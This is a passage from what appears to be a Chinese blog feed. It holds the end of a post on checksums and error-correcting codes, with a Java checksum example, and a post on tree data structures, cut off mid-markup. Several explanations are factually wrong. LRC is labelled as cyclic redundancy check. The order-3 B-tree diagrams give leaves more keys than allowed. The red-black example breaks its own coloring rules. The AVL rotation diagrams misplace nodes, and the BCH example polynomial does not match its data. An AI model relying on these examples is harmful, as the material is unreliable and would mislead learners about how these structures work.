class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Checksum</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：计算校验和</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">calculateChecksum</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">checksum</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">byte</span> b : data) &#123;</span><br><span class="line">            checksum += (b &amp; <span class="number">0xFF</span>); <span class="comment">// 将byte转换为无符号int</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 将校验和限制在一个字节范围内（0-255）</span></span><br><span class="line">        checksum = checksum &amp; <span class="number">0xFF</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> checksum;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 方法：验证校验和</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">verifyChecksum</span><span class="params">(<span class="type">byte</span>[] data, <span class="type">int</span> expectedChecksum)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">calculatedChecksum</span> <span class="operator">=</span> calculateChecksum(data);</span><br><span class="line">        <span class="keyword">return</span> calculatedChecksum == expectedChecksum;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">input</span> <span class="operator">=</span> <span class="string">&quot;Hello, Checksum!&quot;</span>; <span class="comment">// 示例输入数据</span></span><br><span class="line">        <span class="type">byte</span>[] data = input.getBytes();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算校验和</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">checksumValue</span> <span class="operator">=</span> calculateChecksum(data);</span><br><span class="line">        System.out.println(<span class="string">&quot;校验和: &quot;</span> + Integer.toHexString(checksumValue));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证校验和</span></span><br><span class="line">        <span class="type">boolean</span> <span class="variable">isValid</span> <span class="operator">=</span> verifyChecksum(data, checksumValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;校验和结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 模拟一个错误</span></span><br><span class="line">        data[<span class="number">0</span>] = <span class="string">&#x27;h&#x27;</span>; <span class="comment">// 修改数据的第一个字节</span></span><br><span class="line">        isValid = verifyChecksum(data, checksumValue);</span><br><span class="line">        System.out.println(<span class="string">&quot;修改后校验和结果: &quot;</span> + (isValid ? <span class="string">&quot;有效&quot;</span> : <span class="string">&quot;无效&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="鲁棒哈希（Robust-Hash）">鲁棒哈希（Robust Hash）</h2><h3 id="原理：-5">原理：</h3><p>哈希校验利用哈希函数将数据映射到一个固定长度的值（哈希值）。这种方法可以快速检测数据的完整性，但不能纠正错误。常见的哈希函数包括MD5、SHA-1、SHA-256等。</p><h3 id="示例：-5">示例：</h3><p>假设数据包为<code>Hello, world!</code>。</p><ol><li>使用SHA-256哈希函数计算哈希值，得到<code>7f83b1657ff1fc53b92dc18148a1d65dfa13573eaa04c20e82e8f142b245e69d</code>。</li><li>将哈希值附加到数据末尾进行传输。<br>接收方对接收的数据重新计算哈希值，若一致，则数据无误。</li></ol><h3 id="应用场景：-5">应用场景：</h3><ul><li><strong>文件完整性校验</strong>：如MD5、SHA系列哈希算法，广泛用于校验文件下载和传输的完整性。</li><li><strong>数据存储</strong>：用于校验数据库和文件系统中的数据完整性。</li><li><strong>数字签名和证书</strong>：确保数据未被篡改，用于验证数据的真实性和完整性。</li></ul><h2 id="循环冗余校验（LRC）">循环冗余校验（LRC）</h2><h3 id="原理：-6">原理：</h3><p>纵向冗余校验（LRC）通过对数据每列的值进行求和操作，得到的结果作为校验码附加到数据末尾。适用于多块数据的校验。</p><h3 id="示例：-6">示例：</h3><p>假设数据包为：<br><code>1101 1011 0110</code></p><ol><li>每列求和：<ul><li>第1列：<code>1 + 1 + 0 = 2</code>（取模2得到<code>0</code>）</li><li>第2列：<code>1 + 0 + 1 = 2</code>（取模2得到<code>0</code>）</li><li>第3列：<code>0 + 1 + 1 = 2</code>（取模2得到<code>0</code>）</li><li>第4列：<code>1 + 1 + 0 = 2</code>（取模2得到<code>0</code>）</li></ul></li><li>校验码为<code>0000</code>。<br>将校验码附加到数据包末尾进行传输，接收方进行相同的列求和校验。</li></ol><h3 id="应用场景：-6">应用场景：</h3><ul><li><strong>工业通信协议</strong>：如Modbus协议中，用于检测数据帧的错误。</li><li><strong>数据记录和传输</strong>：用于某些存储和传输设备，确保数据块的一致性。</li><li><strong>简单嵌入式系统</strong>：用于低资源需求的系统中，进行基本的错误检测。</li></ul><h2 id="瑞德-所罗门码（Reed-Solomon-Code）">瑞德-所罗门码（Reed-Solomon Code）</h2><h3 id="原理：-7">原理：</h3><p>瑞德-所罗门码是一种广泛应用于通信和存储的纠错码，能够纠正多比特错误。通过将数据视为多项式，利用有限域上的多项式运算实现错误检测和纠正。</p><h3 id="示例：-7">示例：</h3><p>假设数据包为<code>[1, 2, 3, 4]</code>，生成多项式为<code>[1, 0, 1]</code>。</p><ol><li>数据视为多项式<code>1 + 2x + 3x^2 + 4x^3</code>。</li><li>生成多项式为<code>1 + x^2</code>。</li><li>利用有限域上的多项式运算得到校验码，假设为<code>[2, 1]</code>。</li><li>将校验码附加到数据包末尾进行传输。<br>接收方通过多项式除法和有限域运算检测和纠正错误。</li></ol><h3 id="应用场景：-7">应用场景：</h3><ul><li><strong>光盘存储</strong>：如CD、DVD、Blu-ray，确保在读写过程中纠正错误。</li><li><strong>数字电视和广播</strong>：用于地面、卫星和有线数字电视传输，保证视频和音频数据的完整性。</li><li><strong>数据存储</strong>：用于RAID系统和固态硬盘中的数据纠错。</li><li><strong>通信系统</strong>：如卫星通信、深空通信和移动通信，用于增强信号的可靠性。</li></ul><h2 id="博斯-乔杜里-霍克因码（BCH-Code）">博斯-乔杜里-霍克因码（BCH Code）</h2><h3 id="原理：-8">原理：</h3><p>BCH码是一种适用于多比特错误纠正的编码方法，通过生成多项式和解码算法实现高效的错误检测和纠正。</p><h3 id="示例：-8">示例：</h3><p>假设数据包为<code>[1011011]</code>，生成多项式为<code>x^4 + x + 1</code>。</p><ol><li>数据视为多项式<code>1 + 0x + 1x^2 + 1x^3 + 1x^4</code>。</li><li>生成多项式为<code>x^4 + x + 1</code>。</li><li>利用多项式除法得到校验码，假设为<code>[1101]</code>。</li><li>将校验码附加到数据包末尾进行传输。<br>接收方通过多项式除法检测和纠正错误。</li></ol><h3 id="应用场景：-8">应用场景：</h3><ul><li><strong>NAND闪存</strong>：用于固态硬盘和存储卡中的数据纠错，确保高密度存储的可靠性。</li><li><strong>卫星通信</strong>：用于深空探测器的通信系统，增强数据传输的可靠性。</li><li><strong>移动通信</strong>：用于移动通信标准（如LTE、WiMAX）中的数据纠错，保证信号的稳定性。</li><li><strong>QR码</strong>：用于二维码中的数据纠错，提高条码扫描的可靠性。</li></ul>]]></content>
    
    
    <summary type="html">不同校验方法在不同的应用场景中发挥着重要作用，从简单的奇偶校验到复杂的纠错码，覆盖了从低错误率的基本通信到高可靠性的存储和传输系统。根据具体需求选择合适的校验方法，可以有效地提高系统的可靠性和数据的完整性。</summary>
    
    
    
    <category term="数据传输" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93/"/>
    
    
    <category term="系统" scheme="https://blog.allbs.cn/tags/%E7%B3%BB%E7%BB%9F/"/>
    
  </entry>
  
  <entry>
    <title>数据结构-----树的说明和应用</title>
    <link href="https://blog.allbs.cn/posts/43330/"/>
    <id>https://blog.allbs.cn/posts/43330/</id>
    <published>2024-05-26T03:33:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h3 id="定义"><strong>定义</strong></h3><p>树是一种由结点和边组成的非线性数据结构，具有分层次的结构，每个结点都有零个或多个子结点。</p><h3 id="术语"><strong>术语</strong></h3><ul><li><strong>结点（Node）</strong>：树的基本元素，包含数据和指向子结点的链接。</li><li><strong>根结点（Root）</strong>：树的顶端结点，没有父结点。</li><li><strong>子结点（Child Node）</strong>：一个结点的下一级结点。</li><li><strong>父结点（Parent Node）</strong>：一个结点的上一级结点。</li><li><strong>叶结点（Leaf Node）</strong>：没有子结点的结点。</li><li><strong>内部结点（Internal Node）</strong>：有至少一个子结点的结点。</li><li><strong>边（Edge）</strong>：连接父结点和子结点的链接。</li><li><strong>路径（Path）</strong>：从一个结点到另一个结点的边的序列。</li><li><strong>深度（Depth）</strong>：从根结点到某个结点的路径长度。</li><li><strong>高度（Height）</strong>：从某个结点到叶结点的最长路径长度。</li><li><strong>子树（Subtree）</strong>：由某个结点及其所有后代结点组成的树。</li></ul><h2 id="树的分类">树的分类</h2><h3 id="二叉树（Binary-Tree）：每个结点最多有两个子结点。"><strong>二叉树（Binary Tree）</strong>：每个结点最多有两个子结点。</h3><ul><li><strong>完全二叉树（Complete Binary Tree）</strong>：除最后一层外，其他层的结点都是满的，且最后一层的结点从左到右依次排列。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">    1</span><br><span class="line">   / \</span><br><span class="line">  2   3</span><br><span class="line"> / \ / \</span><br><span class="line">4  5 6  7</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><strong>满二叉树（Full Binary Tree）</strong>：每个结点要么没有子结点，要么有两个子结点。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">// 只有一个结点（没有子结点）</span><br><span class="line">    1</span><br><span class="line"></span><br><span class="line">// 三层满二叉树（每个结点有两个子结点）</span><br><span class="line">        1</span><br><span class="line">       / \</span><br><span class="line">      2   3</span><br><span class="line">     / \ / \</span><br><span class="line">    4  5 6  7</span><br></pre></td></tr></table></figure><ul><li><strong>平衡二叉树（Balanced Binary Tree）</strong>：任何结点的左右子树的高度差不超过1。平衡二叉树的结构确保了较好的搜索、插入和删除性能，使这些操作的时间复杂度保持在 𝑂(log⁡𝑛) 水平。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">// 例1</span><br><span class="line">4</span><br><span class="line">   / \</span><br><span class="line">  2   6</span><br><span class="line"> / \ / \</span><br><span class="line">1  3 5  7</span><br><span class="line">// 例2</span><br><span class="line">10</span><br><span class="line">   /  \</span><br><span class="line">  5    15</span><br><span class="line"> / \     \</span><br><span class="line">3   7    20</span><br><span class="line"> \</span><br><span class="line">  4</span><br></pre></td></tr></table></figure><ul><li><strong>二叉搜索树（Binary Search Tree, BST）</strong>：对每个结点，其左子树所有结点的值均小于该结点的值，右子树所有结点的值均大于该结点的值。每二叉搜索树的这种特性使得查找、插入和删除操作的平均时间复杂度为 𝑂(log⁡𝑛)</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">// 插入顺序：5, 3, 7, 2, 4, 6, 8</span><br><span class="line">        5</span><br><span class="line">       / \</span><br><span class="line">      3   7</span><br><span class="line">     / \ / \</span><br><span class="line">    2  4 6  8</span><br><span class="line">// 插入顺序：10, 5, 15, 3, 7, 12, 18, 1, 4, 6, 8, 11, 13, 17, 19</span><br><span class="line">            10</span><br><span class="line">          /    \</span><br><span class="line">        5       15</span><br><span class="line">      /  \     /   \</span><br><span class="line">     3    7   12   18</span><br><span class="line">    / \  / \  / \  / \</span><br><span class="line">   1  4 6  8 11 13 17 19</span><br></pre></td></tr></table></figure><h3 id="N叉树（N-ary-Tree）：每个结点最多有N个子结点。"><strong>N叉树（N-ary Tree）</strong>：每个结点最多有N个子结点。</h3><h3 id="特殊树："><strong>特殊树</strong>：</h3><h4 id="B树（B-Tree）：用于数据库和文件系统的自平衡树。"><strong>B树（B-Tree）</strong>：用于数据库和文件系统的自平衡树。</h4><p>假设我们有一个阶数为3的B树（每个节点最多可以有2个关键字，3个子节点）。<br>插入顺序：10, 20, 5, 6, 12, 30, 7, 17</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">       [10, 20]</span><br><span class="line">      /    |    \</span><br><span class="line">[5, 6, 7]  [12]  [17, 30]</span><br></pre></td></tr></table></figure><p>在这个B树中：</p><ol><li><strong>根节点</strong>包含关键字10和20，有三个子节点。</li><li><strong>左子节点</strong>包含关键字5、6和7，没有子节点（叶子节点）。</li><li><strong>中子节点</strong>包含关键字12，没有子节点（叶子节点）。</li><li><strong>右子节点</strong>包含关键字17和30，没有子节点（叶子节点）。<br><strong>插入更多的关键字</strong><br>插入关键字21后，B树的结构会发生变化，需要进行分裂和调整。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">        [10, 20]</span><br><span class="line">      /     |     \</span><br><span class="line">[5, 6, 7]  [12]  [17, 21, 30]</span><br></pre></td></tr></table></figure><p>当插入关键字4后，左子节点会分裂：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">              [10, 20]</span><br><span class="line">           /     |     \</span><br><span class="line">    [5, 6]      [12]  [17, 21, 30]</span><br><span class="line">   /    \</span><br><span class="line">[4]    [7]</span><br></pre></td></tr></table></figure><p>通过这种结构，B树确保了所有叶子节点都在同一层，并且每个节点的子节点数在给定范围内（这里为2到3）。这使得B树在处理大量数据时仍然保持高效的操作性能。</p><h4 id="B-树（B-Tree）：B树的变种，所有值都存储在叶结点，内部结点只存储键。"><strong>B+树（B+ Tree）</strong>：B树的变种，所有值都存储在叶结点，内部结点只存储键。</h4><p>B+树是B树的一种变种，所有值都存储在叶子节点中，而内部节点只存储键用于索引。B+树在数据库和文件系统中有广泛应用，因为它能有效地进行范围查询。<br>假设我们有一个阶数为3的B+树（每个节点最多可以有2个关键字，3个子节点）。<br>插入顺序：10, 20, 5, 6, 12, 30, 7, 17</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    [10, 20]</span><br><span class="line">   /    |    \</span><br><span class="line">[5, 6, 7]  [12, 17]  [20, 30]</span><br></pre></td></tr></table></figure><p>在这个B+树中：</p><ol><li><strong>根节点</strong>包含关键字10和20，有三个子节点。</li><li><strong>左子节点</strong>包含关键字5、6和7，指向包含这些值的叶子节点。</li><li><strong>中子节点</strong>包含关键字12和17，指向包含这些值的叶子节点。</li><li><strong>右子节点</strong>包含关键字20和30，指向包含这些值的叶子节点。</li></ol><p><em>叶子节点链接</em></p><p>叶子节点通常通过链表相连，以便于范围查询。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">    [10, 20]</span><br><span class="line">    /    |    \</span><br><span class="line">/[5, 6, 7]/-&gt;[12, 17]/-&gt;[20, 30]/</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><em>插入更多的关键字</em></p><p>插入关键字21后，B+树的结构会发生变化，需要进行分裂和调整。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    [10, 20]</span><br><span class="line">   /    |    \</span><br><span class="line">[5, 6, 7]  [12, 17]  [20, 21, 30]</span><br></pre></td></tr></table></figure><p>当插入关键字4后，左子节点会分裂：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">           [10, 20]</span><br><span class="line">         /      |      \</span><br><span class="line">[4, 5, 6]     [12, 17]     [20, 21, 30]</span><br><span class="line">    \          \            /</span><br><span class="line">     [7]        [12, 17]    [20, 21, 30]</span><br></pre></td></tr></table></figure><h4 id="红黑树（Red-Black-Tree）：一种平衡二叉搜索树，确保基本操作的时间复杂度为O-log-n-。"><strong>红黑树（Red-Black Tree）</strong>：一种平衡二叉搜索树，确保基本操作的时间复杂度为O(log n)。</h4><p>红黑树每个节点都包含一个额外的颜色属性，可以是红色或黑色。红黑树通过以下规则保持平衡：</p><ol><li>每个节点是红色或黑色。</li><li>根节点是黑色。</li><li>所有叶子节点（NIL节点）是黑色。</li><li>如果一个节点是红色，则它的两个子节点都是黑色（不能有两个连续的红色节点）。</li><li>从任一节点到其每个叶子的所有简单路径都包含相同数目的黑色节点。<br>插入顺序：10, 20, 30, 15, 25, 5, 1</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">        10(黑)</span><br><span class="line">       /     \</span><br><span class="line">    5(红)     20(黑)</span><br><span class="line">   /        /     \</span><br><span class="line">1(黑)     15(红)  25(黑)</span><br><span class="line">                  \</span><br><span class="line">                  30(红)</span><br></pre></td></tr></table></figure><p>在这个红黑树中：</p><ul><li>根节点10是黑色的。</li><li>结点20是黑色的，左子节点15是红色的，右子节点25是黑色的。</li><li>结点25的右子节点30是红色的。</li><li>结点5是红色的，左子节点1是黑色的。</li></ul><p><em>插入规则和调整</em></p><ol><li><strong>插入10</strong>：树为空，10作为根节点，颜色为黑色。</li><li><strong>插入20</strong>：20作为10的右子节点，颜色为红色。</li><li><strong>插入30</strong>：30作为20的右子节点，颜色为红色。违反规则4，需要调整。<ul><li>将20和10的颜色交换，然后进行左旋。</li></ul></li><li><strong>插入15</strong>：15作为20的左子节点，颜色为红色。</li><li><strong>插入25</strong>：25作为20的右子节点，颜色为红色。需要调整。<ul><li>进行颜色调整并右旋。</li></ul></li><li><strong>插入5</strong>：5作为10的左子节点，颜色为红色。</li><li><strong>插入1</strong>：1作为5的左子节点，颜色为黑色（插入调整为红色，但因规则调整为黑色）。<br>最终形成的红黑树符合所有红黑树的规则，保持平衡。红黑树的插入和删除操作通过颜色变化和旋转来保持树的平衡，使得其基本操作的时间复杂度为 𝑂(log⁡𝑛)O(logn)。</li></ol><h4 id="AVL树：一种平衡二叉搜索树，严格保持平衡，左右子树的高度差不超过1。"><strong>AVL树</strong>：一种平衡二叉搜索树，严格保持平衡，左右子树的高度差不超过1。</h4><p>每个节点的左右子树的高度差（平衡因子）不超过1。AVL树通过旋转操作来保持平衡。<br><strong>插入顺序：10, 20, 30, 40, 50, 25</strong><br>插入10, 20, 30</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"> 10</span><br><span class="line">\</span><br><span class="line"> 20</span><br><span class="line">   \</span><br><span class="line">30</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这导致了不平衡，需要进行左旋转：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">  20</span><br><span class="line"> /  \</span><br><span class="line">10    30</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>插入40</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">  20</span><br><span class="line"> /  \</span><br><span class="line">10    30</span><br><span class="line">   \</span><br><span class="line">40</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>插入50</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">  20</span><br><span class="line"> /  \</span><br><span class="line">10    30</span><br><span class="line">   \</span><br><span class="line">40</span><br><span class="line">  \</span><br><span class="line">   50</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这导致了不平衡，需要进行左旋转：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">  20</span><br><span class="line"> /  \</span><br><span class="line">10    40</span><br><span class="line"> /  \</span><br><span class="line">   30    50</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>插入25</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">  20</span><br><span class="line"> /  \</span><br><span class="line">10    40</span><br><span class="line"> /  \</span><br><span class="line">   30    50</span><br><span class="line">  /</span><br><span class="line"> 25</span><br></pre></td></tr></table></figure><p>这导致了不平衡，需要进行右左旋转：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">     30</span><br><span class="line">    /  \</span><br><span class="line">  20    40</span><br><span class="line">  / \     \</span><br><span class="line">10  25    50</span><br></pre></td></tr></table></figure><p>最终形成的AVL树符合AVL树的平衡规则，每个节点的左右子树高度差不超过1。</p><h5 id="AVL树的旋转操作">AVL树的旋转操作</h5><ul><li><strong>右旋转（Right Rotation）</strong></li><li><strong>左旋转（Left Rotation）</strong></li><li><strong>左右旋转（Left-Right Rotation）</strong></li><li><strong>右左旋转（Right-Left Rotation）</strong><br>这些旋转操作通过调整树的结构来保持平衡。每次插入或删除操作后，AVL树都会检查平衡因子并进行相应的旋转，以确保树的平衡。AVL树的基本操作的时间复杂度为 𝑂(log⁡𝑛)O(logn)。</li></ul><h4 id="Trie（前缀树）：用于快速检索字符串集合中的元素。"><strong>Trie（前缀树）</strong>：用于快速检索字符串集合中的元素。</h4><p>每个节点代表一个字符，路径从根节点到某个节点的字符串表示该节点的前缀。<br>插入单词： “hello”, “hi”, “her”, “hero”, “heat”</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">          root</span><br><span class="line">         /  |  \</span><br><span class="line">        h   h   h</span><br><span class="line">       /   / \   \</span><br><span class="line">      e   i   e   e</span><br><span class="line">     /   |   / \   \</span><br><span class="line">    l    i  r   a   r</span><br><span class="line">   / \       |   |   \</span><br><span class="line">  l   r      o   t    o</span><br><span class="line"> /          /</span><br><span class="line">o          r</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在这个Trie中：</p><ul><li>根节点是空的（root）。</li><li>第一层的节点表示单词的第一个字符：“h”。</li><li>第二层的节点表示单词的第二个字符：“e”、“i”。</li><li>第三层及以下的节点依次表示单词的后续字符。<br>每个单词通过从根节点到叶子节点的路径表示：</li><li>“hello” 路径为：root -&gt; h -&gt; e -&gt; l -&gt; l -&gt; o</li><li>“hi” 路径为：root -&gt; h -&gt; i</li><li>“her” 路径为：root -&gt; h -&gt; e -&gt; r</li><li>“hero” 路径为：root -&gt; h -&gt; e -&gt; r -&gt; o</li><li>“heat” 路径为：root -&gt; h -&gt; e -&gt; a -&gt; t</li></ul><h5 id="Trie的应用">Trie的应用</h5><p>Trie广泛用于以下场景：</p><ol><li><strong>自动补全</strong>：输入法和搜索引擎中的自动补全功能。</li><li><strong>拼写检查</strong>：快速查找和纠正单词的拼写错误。</li><li><strong>前缀查询</strong>：查找具有共同前缀的所有单词。</li><li><strong>IP路由（最长前缀匹配）</strong>：在网络路由中的应用。<br>Trie通过共享前缀实现了高效的存储和检索，在处理大量字符串时具有显著的优势。</li></ol><h2 id="树的表示方法">树的表示方法</h2><p><strong>链式存储（Linked Representation）</strong>：每个结点包含数据和指向子结点的指针。<br><strong>顺序存储（Sequential Representation）</strong>：用数组来表示树，特别适用于完全二叉树。</p><h2 id="树的遍历">树的遍历</h2><p>示例一个树</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">      A</span><br><span class="line">     / \</span><br><span class="line">    B   C</span><br><span class="line">   / \   \</span><br><span class="line">  D   E   F</span><br><span class="line"> / \</span><br><span class="line">G   H</span><br></pre></td></tr></table></figure><h3 id="深度优先遍历（DFS-Depth-First-Search）："><strong>深度优先遍历（DFS, Depth-First Search）</strong>：</h3><ul><li><strong>前序遍历（Preorder Traversal）</strong>：先访问根结点，再遍历左子树，最后遍历右子树。</li><li><strong>中序遍历（Inorder Traversal）</strong>：先遍历左子树，再访问根结点，最后遍历右子树。</li><li><strong>后序遍历（Postorder Traversal）</strong>：先遍历左子树，再遍历右子树，最后访问根结点。</li></ul><h4 id="搜索顺序">搜索顺序</h4><p>沿着树的深度遍历树的节点。遍历一条分支直到最后一个节点，然后回溯并遍历其他分支。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A -&gt; B -&gt; D -&gt; G -&gt; H -&gt; E -&gt; C -&gt; F</span><br></pre></td></tr></table></figure><h4 id="DFS-图示">DFS 图示</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">    A</span><br><span class="line">   / </span><br><span class="line">  B  </span><br><span class="line"> / </span><br><span class="line">D  </span><br><span class="line">/ \</span><br><span class="line">G  H</span><br><span class="line">\</span><br><span class="line"> E</span><br><span class="line"> \</span><br><span class="line">  C</span><br><span class="line">   \</span><br><span class="line">    F</span><br></pre></td></tr></table></figure><h3 id="广度优先遍历（BFS-Breadth-First-Search）："><strong>广度优先遍历（BFS, Breadth-First Search）</strong>：</h3><ul><li><strong>层序遍历（Level-order Traversal）</strong>：按层次逐层遍历。</li></ul><h4 id="搜索顺序-2">搜索顺序</h4><p>从根节点开始，沿着树的宽度遍历树的节点。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A -&gt; B -&gt; C -&gt; D -&gt; E -&gt; F -&gt; G -&gt; H</span><br></pre></td></tr></table></figure><h4 id="BFS-图示">BFS 图示</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 